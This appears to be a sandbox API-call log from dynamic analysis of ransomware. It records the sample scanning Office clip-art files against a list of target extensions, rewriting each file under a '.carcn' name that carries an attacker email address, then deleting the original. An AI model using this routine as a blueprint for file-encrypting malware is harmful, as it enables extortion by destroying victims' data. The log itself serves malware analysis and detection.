[0267.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.873] lstrlenW (lpString=".bz2") returned 4 [0267.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.874] lstrlenW (lpString=".7z") returned 3 [0267.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0267.874] lstrlenW (lpString=".dbf") returned 4 [0267.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0267.874] lstrlenW (lpString=".1cd") returned 4 [0267.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0267.874] lstrlenW (lpString=".jpg") returned 4 [0267.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0267.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0267.874] lstrlenW (lpString=".doc") returned 4 [0267.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.874] lstrlenW (lpString=".docx") returned 5 [0267.874] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.874] lstrlenW (lpString=".pdf") returned 4 [0267.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.874] lstrlenW (lpString=".xls") returned 4 [0267.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.874] lstrlenW (lpString=".xlsx") returned 5 [0267.874] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.874] lstrlenW (lpString=".ppt") returned 4 [0267.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0267.874] lstrlenW (lpString=".zip") returned 4 [0267.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.875] lstrlenW (lpString=".rar") returned 4 [0267.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.875] lstrlenW (lpString=".bz2") returned 4 [0267.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.875] lstrlenW (lpString=".7z") returned 3 [0267.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0267.875] lstrlenW (lpString=".dbf") returned 4 [0267.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0267.875] lstrlenW (lpString=".1cd") returned 4 [0267.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0267.875] lstrlenW (lpString=".jpg") returned 4 [0267.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.875] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0267.875] lstrlenW (lpString="BL00921_.WMF") returned 12 [0267.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0267.876] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4408) returned 1 [0267.876] CloseHandle (hObject=0x550) returned 1 [0267.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x220 [0267.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0267.877] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.877] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0267.878] GetLastError () returned 0x0 [0267.878] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x1138, lpOverlapped=0x0) returned 1 [0267.888] WriteFile (in: hFile=0x53c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1140, lpOverlapped=0x0) returned 1 [0267.892] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0267.892] WriteFile (in: hFile=0x53c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0267.892] SetEndOfFile (hFile=0x53c) returned 1 [0267.893] CloseHandle (hObject=0x53c) returned 1 [0267.900] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.900] SetEndOfFile (hFile=0x550) returned 1 [0268.190] CloseHandle (hObject=0x550) returned 1 [0268.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0268.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0268.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0268.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0268.192] lstrlenW (lpString=".doc") returned 4 [0268.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.192] lstrlenW (lpString=".docx") returned 5 [0268.192] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.192] lstrlenW (lpString=".pdf") returned 4 [0268.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.192] lstrlenW (lpString=".xls") returned 4 [0268.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.192] lstrlenW (lpString=".xlsx") returned 5 [0268.192] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.192] lstrlenW (lpString=".ppt") returned 4 [0268.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0268.192] lstrlenW (lpString=".zip") returned 4 [0268.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.192] lstrlenW (lpString=".rar") returned 4 [0268.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.192] lstrlenW (lpString=".bz2") returned 4 [0268.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.192] lstrlenW (lpString=".7z") returned 3 [0268.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0268.193] lstrlenW (lpString=".dbf") returned 4 [0268.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0268.193] lstrlenW (lpString=".1cd") returned 4 [0268.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0268.193] lstrlenW (lpString=".jpg") returned 4 [0268.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0268.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0268.193] lstrlenW (lpString=".doc") returned 4 [0268.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.193] lstrlenW (lpString=".docx") returned 5 [0268.193] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.193] lstrlenW (lpString=".pdf") returned 4 [0268.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.193] lstrlenW (lpString=".xls") returned 4 [0268.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.193] lstrlenW (lpString=".xlsx") returned 5 [0268.193] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.193] lstrlenW (lpString=".ppt") returned 4 [0268.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0268.194] lstrlenW (lpString=".zip") returned 4 [0268.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.194] lstrlenW (lpString=".rar") returned 4 [0268.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.194] lstrlenW (lpString=".bz2") returned 4 [0268.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.194] lstrlenW (lpString=".7z") returned 3 [0268.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0268.194] lstrlenW (lpString=".dbf") returned 4 [0268.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0268.194] lstrlenW (lpString=".1cd") returned 4 [0268.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0268.194] lstrlenW (lpString=".jpg") returned 4 [0268.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.194] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0268.195] lstrlenW (lpString="BOAT.WMF") returned 8 [0268.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0268.196] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3350) returned 1 [0268.196] CloseHandle (hObject=0x550) returned 1 [0268.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0x220 [0268.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0268.197] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.197] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0268.198] GetLastError () returned 0x0 [0268.198] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0xd16, lpOverlapped=0x0) returned 1 [0268.215] WriteFile (in: hFile=0x370, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xd20, lpOverlapped=0x0) returned 1 [0268.216] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0268.217] WriteFile (in: hFile=0x370, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe4, lpOverlapped=0x0) returned 1 [0268.217] SetEndOfFile (hFile=0x370) returned 1 [0268.217] CloseHandle (hObject=0x370) returned 1 [0268.224] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.224] SetEndOfFile (hFile=0x550) returned 1 [0268.252] CloseHandle (hObject=0x550) returned 1 [0268.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0268.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1 [0268.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0268.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0268.254] lstrlenW (lpString=".doc") returned 4 [0268.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.254] lstrlenW (lpString=".docx") returned 5 [0268.254] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0268.254] lstrlenW (lpString=".pdf") returned 4 [0268.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.254] lstrlenW (lpString=".xls") returned 4 [0268.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.254] lstrlenW (lpString=".xlsx") returned 5 [0268.254] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0268.254] lstrlenW (lpString=".ppt") returned 4 [0268.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0268.254] lstrlenW (lpString=".zip") returned 4 [0268.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.254] lstrlenW (lpString=".rar") returned 4 [0268.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.254] lstrlenW (lpString=".bz2") returned 4 [0268.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.254] lstrlenW (lpString=".7z") returned 3 [0268.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0268.255] lstrlenW (lpString=".dbf") returned 4 [0268.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0268.255] lstrlenW (lpString=".1cd") returned 4 [0268.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0268.255] lstrlenW (lpString=".jpg") returned 4 [0268.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0268.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0268.255] lstrlenW (lpString=".doc") returned 4 [0268.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.255] lstrlenW (lpString=".docx") returned 5 [0268.255] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0268.255] lstrlenW (lpString=".pdf") returned 4 [0268.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.255] lstrlenW (lpString=".xls") returned 4 [0268.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.255] lstrlenW (lpString=".xlsx") returned 5 [0268.255] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0268.255] lstrlenW (lpString=".ppt") returned 4 [0268.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0268.256] lstrlenW (lpString=".zip") returned 4 [0268.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.256] lstrlenW (lpString=".rar") returned 4 [0268.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.256] lstrlenW (lpString=".bz2") returned 4 [0268.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.256] lstrlenW (lpString=".7z") returned 3 [0268.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0268.256] lstrlenW (lpString=".dbf") returned 4 [0268.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0268.256] lstrlenW (lpString=".1cd") returned 4 [0268.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0268.256] lstrlenW (lpString=".jpg") returned 4 [0268.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.256] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0268.256] lstrlenW (lpString="BOATINST.WMF") returned 12 [0268.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0268.257] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=29004) returned 1 [0268.257] CloseHandle (hObject=0x550) returned 1 [0268.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0x220 [0268.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0268.258] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.258] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0268.259] GetLastError () returned 0x0 [0268.259] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x714c, lpOverlapped=0x0) returned 1 [0268.463] WriteFile (in: hFile=0x558, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x7150, lpOverlapped=0x0) returned 1 [0268.465] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0268.465] WriteFile (in: hFile=0x558, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0268.465] SetEndOfFile (hFile=0x558) returned 1 [0268.465] CloseHandle (hObject=0x558) returned 1 [0268.472] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.472] SetEndOfFile (hFile=0x550) returned 1 [0268.477] CloseHandle (hObject=0x550) returned 1 [0268.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0268.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0268.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0268.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0268.714] lstrlenW (lpString=".doc") returned 4 [0268.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.714] lstrlenW (lpString=".docx") returned 5 [0268.714] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0268.714] lstrlenW (lpString=".pdf") returned 4 [0268.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.715] lstrlenW (lpString=".xls") returned 4 [0268.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.715] lstrlenW (lpString=".xlsx") returned 5 [0268.715] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0268.715] lstrlenW (lpString=".ppt") returned 4 [0268.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0268.715] lstrlenW (lpString=".zip") returned 4 [0268.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.715] lstrlenW (lpString=".rar") returned 4 [0268.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.715] lstrlenW (lpString=".bz2") returned 4 [0268.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.715] lstrlenW (lpString=".7z") returned 3 [0268.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0268.715] lstrlenW (lpString=".dbf") returned 4 [0268.715] lstrcmpiW 